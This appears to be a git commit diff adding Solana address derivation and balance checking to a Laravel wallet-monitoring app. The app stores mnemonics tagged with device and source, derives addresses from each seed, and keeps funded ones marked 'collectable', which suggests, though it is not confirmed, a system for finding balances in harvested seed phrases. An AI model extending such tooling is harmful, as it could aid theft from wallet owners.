Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab

This commit is contained in:
hashbro
2026-09-24 03:01:15 +08:00
13 changed files with 749 additions and 10 deletions
@@ -49,7 +49,7 @@ class WalletAddressController extends Controller
{
$q = $this->baseQuery($request);
$sortable = ['id', 'address', 'chain_type', 'source', 'collectable', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
$sortable = ['id', 'address', 'chain_type', 'source', 'collectable', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'sol', 'monitor', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -82,6 +82,7 @@ class WalletAddressController extends Controller
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'sol' => $coins['sol'],
'monitor' => (int) $row->monitor,
'monitor_synced' => (bool) $row->monitor_synced,
'monitor_failures' => (int) $row->monitor_failures,
+4 -2
View File
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletAddress extends Model
{
/** @var list<string> */
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb'];
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb', 'sol'];
/** Display decimal places per coin (UI). */
public const DISPLAY_DECIMALS = [
@@ -17,11 +17,12 @@ class WalletAddress extends Model
'eth' => 6,
'btc' => 8,
'bnb' => 6,
'sol' => 6,
];
protected $fillable = [
'device_id', 'address', 'chain_type',
'usdt', 'trx', 'eth', 'btc', 'bnb',
'usdt', 'trx', 'eth', 'btc', 'bnb', 'sol',
'monitor', 'monitor_synced', 'monitor_failures', 'source', 'mnemonic_id', 'derive_index',
];
@@ -37,6 +38,7 @@ class WalletAddress extends Model
'eth' => 'decimal:18',
'btc' => 'decimal:8',
'bnb' => 'decimal:18',
'sol' => 'decimal:9',
];
}
+2
View File
@@ -10,6 +10,7 @@ class ChainManager
private readonly TronDriver $tron,
private readonly EthDriver $eth,
private readonly BtcDriver $btc,
private readonly SolDriver $sol,
) {}
public function resolve(string $chain): ChainDriver
@@ -18,6 +19,7 @@ class ChainManager
'tron', 'trx' => $this->tron,
'eth', 'ethereum' => $this->eth,
'btc', 'bitcoin' => $this->btc,
'sol', 'solana' => $this->sol,
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
};
}
+151
View File
@@ -0,0 +1,151 @@
<?php
namespace App\Services\Chain;
use FurqanSiddiqui\BIP39\BIP39;
use RuntimeException;
/**
* Solana address helpers: SLIP-0010 Ed25519 derivation + Base58.
*
* Phantom / Solflare path: m/44'/501'/{index}'/0'
*/
final class SolAddress
{
private const ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
/**
* Derive Solana base58 address from BIP39 mnemonic at account index.
* Path: m/44'/501'/{index}'/0' (Phantom default).
*/
public static function fromMnemonic(string $mnemonic, int $index = 0): string
{
if ($index < 0) {
throw new RuntimeException('Invalid derive index');
}
$words = preg_split('/\s+/', trim($mnemonic)) ?: [];
if (count($words) < 12) {
throw new RuntimeException('Invalid mnemonic');
}
$seed = BIP39::Words($words)->generateSeed();
if (! is_string($seed) || strlen($seed) < 32) {
throw new RuntimeException('Failed to generate BIP39 seed');
}
// SLIP-0010: master from BIP39 seed, then hardened path.
[$key, $chain] = self::masterFromSeed($seed);
foreach ([44 | 0x80000000, 501 | 0x80000000, $index | 0x80000000, 0 | 0x80000000] as $child) {
[$key, $chain] = self::ckdPriv($key, $chain, $child);
}
return self::base58Encode(self::publicKeyFromSeed($key));
}
public static function isValid(string $address): bool
{
$address = trim($address);
if (! preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address)) {
return false;
}
$decoded = self::base58Decode($address);
return $decoded !== null && strlen($decoded) === 32;
}
/**
* @return array{0: string, 1: string} 32-byte key + 32-byte chain code
*/
private static function masterFromSeed(string $seed): array
{
$I = hash_hmac('sha512', $seed, 'ed25519 seed', true);
return [substr($I, 0, 32), substr($I, 32, 32)];
}
/**
* SLIP-0010 hardened-only child key derivation for Ed25519.
*
* @return array{0: string, 1: string}
*/
private static function ckdPriv(string $kPar, string $cPar, int $index): array
{
if (($index & 0x80000000) === 0) {
throw new RuntimeException('Ed25519 SLIP-0010 only supports hardened derivation');
}
$data = "\x00".$kPar.pack('N', $index);
$I = hash_hmac('sha512', $data, $cPar, true);
return [substr($I, 0, 32), substr($I, 32, 32)];
}
private static function publicKeyFromSeed(string $seed32): string
{
if (strlen($seed32) !== 32) {
throw new RuntimeException('Invalid Ed25519 seed length');
}
if (! function_exists('sodium_crypto_sign_seed_keypair')) {
throw new RuntimeException('ext-sodium is required for Solana address derivation');
}
$kp = sodium_crypto_sign_seed_keypair($seed32);
return sodium_crypto_sign_publickey($kp);
}
public static function base58Encode(string $binary): string
{
if ($binary === '') {
return '';
}
$leadingZeros = 0;
$len = strlen($binary);
for ($i = 0; $i < $len && $binary[$i] === "\x00"; $i++) {
$leadingZeros++;
}
$num = gmp_init(bin2hex($binary), 16);
$base = gmp_init(58);
$out = '';
while (gmp_cmp($num, 0) > 0) {
[$num, $rem] = [gmp_div_q($num, $base), gmp_intval(gmp_mod($num, $base))];
$out = self::ALPHABET[$rem].$out;
}
return str_repeat('1', $leadingZeros).($out === '' ? '1' : $out);
}
public static function base58Decode(string $input): ?string
{
$len = strlen($input);
if ($len === 0) {
return null;
}
$decoded = gmp_init(0);
$base = gmp_init(58);
for ($i = 0; $i < $len; $i++) {
$pos = strpos(self::ALPHABET, $input[$i]);
if ($pos === false) {
return null;
}
$decoded = gmp_add(gmp_mul($decoded, $base), $pos);
}
$hex = gmp_strval($decoded, 16);
if (strlen($hex) % 2 !== 0) {
$hex = '0'.$hex;
}
$bin = $hex === '0' ? '' : (hex2bin($hex) ?: '');
$leadingZeros = 0;
for ($i = 0; $i < $len && $input[$i] === '1'; $i++) {
$leadingZeros++;
}
return str_repeat("\x00", $leadingZeros).$bin;
}
}
+169
View File
@@ -0,0 +1,169 @@
<?php
namespace App\Services\Chain;
use Illuminate\Http\Client\PendingRequest;
use Illuminate\Support\Facades\Http;
use RuntimeException;
/**
* Solana JSON-RPC driver.
*
* Address derivation: SLIP-0010 Ed25519 at m/44'/501'/{index}'/0' (Phantom/Solflare).
* Transfer flows are not implemented yet.
*/
class SolDriver implements ChainDriver
{
public function chainId(): string
{
return 'sol';
}
public function deriveAddress(string $mnemonic, int $index = 0): string
{
return SolAddress::fromMnemonic($mnemonic, $index);
}
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
{
throw new RuntimeException('SOL native transfer not supported');
}
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
{
throw new RuntimeException('SOL SPL token transfer not supported');
}
public function isValidAddress(string $address): bool
{
return SolAddress::isValid($address);
}
public function isActivated(string $address): bool
{
try {
return bccomp($this->getNativeBalance($address), '0', 9) > 0;
} catch (\Throwable) {
return false;
}
}
public function getNativeBalance(string $address): string
{
if (! $this->isValidAddress($address)) {
throw new RuntimeException('Invalid SOL address');
}
$result = $this->rpc('getBalance', [$address, ['commitment' => 'confirmed']]);
$lamports = '0';
if (is_array($result) && isset($result['value']) && is_numeric($result['value'])) {
$lamports = (string) $result['value'];
} elseif (is_numeric($result)) {
$lamports = (string) $result;
}
return $this->fromLamports($lamports);
}
/**
* SPL token balance: sums all token accounts owned by $address for $contract (mint).
* Handles the associated-token-account, secondary accounts and multi-decimal edge cases.
*/
public function getTokenBalance(string $address, string $contract): string
{
if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) {
throw new RuntimeException('Invalid SOL address');
}
$result = $this->rpc('getTokenAccountsByOwner', [
$address,
['mint' => $contract],
['encoding' => 'jsonParsed', 'commitment' => 'confirmed'],
]);
$accounts = [];
if (is_array($result) && isset($result['value']) && is_array($result['value'])) {
$accounts = $result['value'];
}
$totalUnits = '0';
$decimals = (int) config('coruna.sol.usdt_decimals', 6);
foreach ($accounts as $entry) {
$info = $entry['account']['data']['parsed']['info']['tokenAmount'] ?? null;
if (! is_array($info)) {
continue;
}
$amount = (string) ($info['amount'] ?? '0');
if (! preg_match('/^\d+$/', $amount)) {
continue;
}
if (isset($info['decimals']) && is_numeric($info['decimals'])) {
$decimals = (int) $info['decimals'];
}
$totalUnits = bcadd($totalUnits, $amount, 0);
}
return $this->fromTokenUnits($totalUnits, max(0, $decimals));
}
private function fromLamports(string $lamports): string
{
if (! preg_match('/^\d+$/', $lamports)) {
$lamports = '0';
}
$human = bcdiv($lamports, '1000000000', 9);
$human = rtrim(rtrim($human, '0'), '.');
return $human === '' ? '0' : $human;
}
private function fromTokenUnits(string $units, int $decimals): string
{
if (! preg_match('/^\d+$/', $units)) {
$units = '0';
}
if ($decimals <= 0) {
return $units === '' ? '0' : $units;
}
$factor = bcpow('10', (string) $decimals, 0);
$human = bcdiv($units, $factor, $decimals);
$human = rtrim(rtrim($human, '0'), '.');
return $human === '' ? '0' : $human;
}
private function rpc(string $method, array $params): mixed
{
$url = rtrim((string) config('coruna.sol.rpc_url', 'https://api.mainnet-beta.solana.com'), '/');
$resp = $this->http()->post($url, [
'jsonrpc' => '2.0',
'id' => 1,
'method' => $method,
'params' => $params,
]);
if (! $resp->successful()) {
throw new RuntimeException('SOL RPC HTTP '.$resp->status());
}
$json = $resp->json();
if (! is_array($json)) {
throw new RuntimeException('Invalid SOL RPC response');
}
if (isset($json['error'])) {
$msg = $json['error']['message'] ?? json_encode($json['error']);
throw new RuntimeException('SOL RPC: '.(is_string($msg) ? $msg : 'error'));
}
return $json['result'] ?? null;
}
private function http(): PendingRequest
{
$req = Http::timeout(30)->acceptJson()->asJson();
$apiKey = (string) config('coruna.sol.api_key', '');
if ($apiKey !== '') {
$req = $req->withHeaders(['Authorization' => 'Bearer '.$apiKey]);
}
return $req;
}
}
+59 -6
View File
@@ -13,7 +13,7 @@ use Illuminate\Support\Facades\Log;
/**
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
* TRON/ETH/BTC and persist only activated addresses (after a balance query).
* TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query).
* Fully inactive mnemonics stay out of the DB and are not monitored; the
* wallets view previews one index-0 address per chain marked 未激活.
* Activated rows are persisted with monitor on.
@@ -27,6 +27,7 @@ class MnemonicWalletDiscovery
['chain' => 'tron', 'chain_type' => 'TRON'],
['chain' => 'eth', 'chain_type' => 'ETH'],
['chain' => 'btc', 'chain_type' => 'BTC'],
['chain' => 'sol', 'chain_type' => 'SOLANA'],
];
public function __construct(
@@ -63,17 +64,23 @@ class MnemonicWalletDiscovery
return 0;
}
$existing = WalletAddress::query()
$linkedChainTypes = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->exists();
if ($existing) {
return 0;
}
->pluck('chain_type')
->map(fn ($c) => strtoupper(trim((string) $c)))
->filter()
->unique()
->values()
->all();
$source = trim((string) ($mnemonic->source ?: ''));
$saved = [];
foreach (self::CHAINS as $spec) {
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
continue;
}
try {
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
foreach ($rows as $row) {
@@ -94,6 +101,22 @@ class MnemonicWalletDiscovery
return count($saved);
}
/**
* @param list<string> $linkedChainTypes uppercase chain_type values already linked
*/
private function hasLinkedChain(array $linkedChainTypes, string $chain): bool
{
$aliases = match ($chain) {
'tron' => ['TRON', 'TRX'],
'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'],
'btc' => ['BTC', 'BITCOIN'],
'sol' => ['SOL', 'SOLANA'],
default => [strtoupper($chain)],
};
return array_intersect($aliases, $linkedChainTypes) !== [];
}
/**
* Persisted linked rows, or ephemeral index-0 previews when none exist.
*
@@ -121,6 +144,7 @@ class MnemonicWalletDiscovery
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'sol' => $coins['sol'],
'active' => true,
'persisted' => true,
];
@@ -193,6 +217,7 @@ class MnemonicWalletDiscovery
'tron' => $this->probeTron($driver, $address),
'eth' => $this->probeEth($driver, $address),
'btc' => $this->probeBtc($driver, $address),
'sol' => $this->probeSol($driver, $address),
default => ['activated' => false, 'coins' => []],
};
}
@@ -262,6 +287,32 @@ class MnemonicWalletDiscovery
];
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeSol(ChainDriver $driver, string $address): array
{
try {
$sol = $driver->getNativeBalance($address);
} catch (\Throwable) {
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
}
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.sol.usdt_contract', ''));
$activated = bccomp($sol, '0', 9) > 0 || bccomp($usdt, '0', 6) > 0;
if (! $activated) {
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
}
return [
'activated' => true,
'coins' => [
'sol' => $sol,
'usdt' => $usdt,
],
];
}
/**
* @param array<string, string> $coins
*/
@@ -327,6 +378,7 @@ class MnemonicWalletDiscovery
'eth' => null,
'btc' => null,
'bnb' => null,
'sol' => null,
'active' => false,
'persisted' => false,
];
@@ -344,6 +396,7 @@ class MnemonicWalletDiscovery
'tron' => ['trx' => '0', 'usdt' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0'],
'btc' => ['btc' => '0'],
'sol' => ['sol' => '0', 'usdt' => '0'],
default => [],
};
}
+38
View File
@@ -12,6 +12,7 @@ use Illuminate\Support\Facades\Log;
* Live on-chain balance refresh for wallet_addresses.
*
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only.
* SOL: SOL + USDT (SPL).
*/
class WalletBalanceService
{
@@ -32,6 +33,7 @@ class WalletBalanceService
'TRON', 'TRX' => $this->refreshTron($address),
'ETH', 'ETHEREUM' => $this->refreshEth($address),
'BTC', 'BITCOIN' => $this->refreshBtc($address),
'SOL', 'SOLANA' => $this->refreshSol($address),
default => false,
};
}
@@ -102,6 +104,42 @@ class WalletBalanceService
}
}
public function refreshSol(WalletAddress $address): bool
{
$addr = trim((string) $address->address);
if ($addr === '') {
return false;
}
try {
$driver = $this->chains->resolve('sol');
$attrs = [
'sol' => $driver->getNativeBalance($addr),
];
$contract = trim((string) config('coruna.sol.usdt_contract', ''));
if ($contract !== '') {
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
}
$this->persistCoins($address, $attrs);
Log::info('sol balance refresh ok', [
'wallet_address_id' => $address->id,
'address' => $addr,
'sol' => $address->sol,
'usdt' => $address->usdt,
]);
return true;
} catch (\Throwable $e) {
Log::warning('sol balance refresh failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
'address' => $addr,
]);
return false;
}
}
public function refreshTron(WalletAddress $address): bool
{
$addr = trim((string) $address->address);